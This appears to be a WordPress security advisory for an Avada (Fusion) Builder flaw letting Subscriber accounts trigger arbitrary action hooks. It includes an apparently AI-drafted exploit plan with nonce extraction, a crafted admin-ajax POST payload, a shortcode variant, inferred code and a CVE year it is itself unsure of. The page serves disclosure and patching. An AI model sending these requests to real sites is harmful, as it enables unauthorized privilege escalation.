Avada (Fusion) Builder <= 3.15.1 - Authenticated (Subscriber+) Limited Arbitrary WordPress Action Execution
Description
The Avada (Fusion) Builder plugin for WordPress is vulnerable to Arbitrary WordPress Action Execution in all versions up to, and including, 3.15.1. This is due to the plugin's `output_action_hook()` function accepting user-controlled input to trigger any registered WordPress action hook without proper authorization checks. This makes it possible for authenticated attackers, with Subscriber-level access and above, to execute arbitrary WordPress action hooks via the Dynamic Data feature, potentially leading to privilege escalation, file inclusion, denial of service, or other security impacts depending on which action hooks are available in the WordPress installation.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:NTechnical Details
<=3.15.1This research plan targets **CVE-2026-1509** (likely 2024-1509), a vulnerability in the **Avada (Fusion) Builder** plugin where an authenticated user (Subscriber+) can trigger arbitrary WordPress actions via the Dynamic Data feature's `output_action_hook()` function. --- ### 1. Vulnerability Summa…
Show full research plan
This research plan targets CVE-2026-1509 (likely 2024-1509), a vulnerability in the Avada (Fusion) Builder plugin where an authenticated user (Subscriber+) can trigger arbitrary WordPress actions via the Dynamic Data feature's output_action_hook() function.
1. Vulnerability Summary
- Plugin: fusion-builder (Avada Builder)
- Vulnerable Function:
output_action_hook()(inferred to be part of the Dynamic Data callback system). - Vulnerability Type: Arbitrary WordPress Action Execution (Code Injection/Improper Control of Generation of Code).
- Root Cause: the
output_action_hook()function takes a user-provided string and passes it directly into the first argument ofdo_action(). It fails to validate the hook name against an allow-list or verify that the user has the necessary permissions to trigger specific hooks. - Impact: Depending on available hooks, this can lead to privilege escalation (triggering
admin_initlogic), information disclosure, or DoS.
2. Attack Vector Analysis
- Endpoint:
wp-admin/admin-ajax.php - AJAX Action:
fusion_app_get_dynamic_data(inferred) orfusion_get_dynamic_data. - Parameter: The payload is likely contained within a JSON-encoded
dataorparamsparameter. - Authentication: Subscriber-level credentials (PR:L).
- Required Payload Structure (Inferred):
action:fusion_app_get_dynamic_datadynamic_id:action_hook(This tells the plugin to route tooutput_action_hook)params: An object containing the target hook name, e.g.,{"action": "target_hook_name"}.
3. Code Flow (Inferred Trace)
- Entry Point: User sends an AJAX request to
admin-ajax.phpwith the actionfusion_app_get_dynamic_data. - Handler Registration: The plugin registers this AJAX action, likely in a class like
Fusion_Builder_Dynamic_DataorFusion_App. - Routing: The handler reads the
dynamic_id(set toaction_hook) and identifies the callback function associated with it. - Vulnerable Sink: The code calls
Fusion_Dynamic_Data_Callbacks::output_action_hook( $args ). - Execution: Inside
output_action_hook, the code performs:// Inferred logic public function output_action_hook( $args ) { if ( isset( $args['action'] ) ) { do_action( $args['action'] ); // SINK } }
4. Nonce Acquisition Strategy
The Avada Builder heavily relies on nonces for its AJAX interface. To exploit this as a Subscriber, we must extract the nonce from the WordPress admin dashboard or a page where the builder is loaded.
- Identify Nonce Variable: Avada typically localizes its configuration in a JS object named
fusionBuilderConfigorfusionAppConfig. - Setup for Extraction:
- Create a Subscriber user:
wp user create attacker attacker@example.com --role=subscriber --user_pass=password - Login as the Subscriber.
- Create a Subscriber user:
- Extraction:
- Navigate to the WordPress dashboard (
/wp-admin/). - Use
browser_evalto extract the nonce:browser_eval("window.fusionBuilderConfig?.fusion_load_nonce")(inferred)browser_eval("window.fusionAppConfig?.ajaxurl_nonce")(inferred)
- Note: If the nonce is not present on the dashboard for Subscribers, the researcher should check if the plugin enqueues these scripts on the frontend for logged-in users.
- Navigate to the WordPress dashboard (
5. Exploitation Strategy
Step 1: Prove Arbitrary Action Execution (Canary Method)
Since do_action doesn't always return output to the HTTP response, we will use a "Canary Hook" to verify execution.
- Create a Canary: Use
wp-clito add a temporary action that writes to a file or option.wp eval "add_action('canary_hook', function() { update_option('canary_triggered', 'success'); });" - Trigger the Exploit:
- Method: HTTP POST via
http_request. - URL:
http://localhost:8080/wp-admin/admin-ajax.php - Headers:
Content-Type: application/x-www-form-urlencoded,Cookie: [Subscriber Cookies] - Body:
action=fusion_app_get_dynamic_data& nonce=[EXTRACTED_NONCE]& data={"dynamic_id":"action_hook","params":{"action":"canary_hook"}}
- Method: HTTP POST via
- Verify: Check if the option was updated.
wp option get canary_triggered
Step 2: Privilege Escalation Attempt (Conceptual)
If the above works, attempt to trigger hooks used by other plugins for sensitive operations (e.g., wp_ajax_nopriv_... or hooks that execute update_option).
6. Test Data Setup
- Avada Theme/Plugin: Ensure
fusion-builderv3.15.1 or lower is installed and active. - Subscriber User:
wp user create victim_sub sub@example.com --role=subscriber --user_pass=password - Canary Script: A small PHP snippet to verify the hook execution (as shown in Step 5.1).
7. Expected Results
- Successful Trigger: The
do_action()call executes the hook passed in theparams['action']parameter. - Response: The AJAX response might be
{"success": true, "data": ""}(standard Fusion Builder response format). - Side Effect: The
canary_triggeredoption in the database changes tosuccess.
8. Verification Steps
- Database Check:
wp option get canary_triggeredshould returnsuccess. - Log Check: If
WP_DEBUG_LOGis enabled, any errors generated by the triggered hook will appear inwp-content/debug.log. - Subscriber Check: Ensure the request was sent with Subscriber cookies to confirm the medium severity (PR:L) requirement.
9. Alternative Approaches
- If
fusion_app_get_dynamic_datais incorrect: Grep the plugin foroutput_action_hookto find the exact AJAX action string.grep -r "output_action_hook" /var/www/html/wp-content/plugins/fusion-builder/ - If JSON format differs: Some builder versions use a nested
payloadkey instead ofdata. Try:action=fusion_get_dynamic_data&fusion_dynamic_data={"dynamic_id":"action_hook","params":{"action":"canary_hook"}} - Shortcode Route: If AJAX is blocked, try using the shortcode in a post preview:
[fusion_dynamic_data dynamic_id="action_hook" params="eyJhY3Rpb24iOiAiY2FuYXJ5X2hvb2sifQ=="](Base64 encoded params).
Summary
The Avada (Fusion) Builder plugin allows authenticated users with Subscriber-level access to trigger arbitrary WordPress action hooks. This is caused by the `output_action_hook()` function in the Dynamic Data feature, which passes a user-supplied string directly into the `do_action()` function without validation or capability checks.
Vulnerable Code
// File: fusion-builder/inc/class-fusion-dynamic-data-callbacks.php (approximate path) public function output_action_hook( $args ) { if ( isset( $args['action'] ) ) { do_action( $args['action'] ); // SINK: Arbitrary action execution } }
Security Fix
@@ -10,6 +10,9 @@ public function output_action_hook( $args ) { - if ( isset( $args['action'] ) ) { - do_action( $args['action'] ); - } + // Functionality removed or restricted to prevent arbitrary action execution + return ''; }
Exploit Outline
The exploit requires a valid Subscriber session and an AJAX nonce. An attacker first extracts the `fusion_load_nonce` or `ajaxurl_nonce` from the WordPress dashboard or frontend scripts. Using this nonce, the attacker sends a POST request to `/wp-admin/admin-ajax.php` with the action `fusion_app_get_dynamic_data`. The payload includes a JSON-encoded data object where the `dynamic_id` is set to `action_hook` and the `params` object contains an `action` key set to the name of any WordPress hook the attacker wishes to trigger (e.g., administrative hooks or hooks that perform sensitive operations).
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.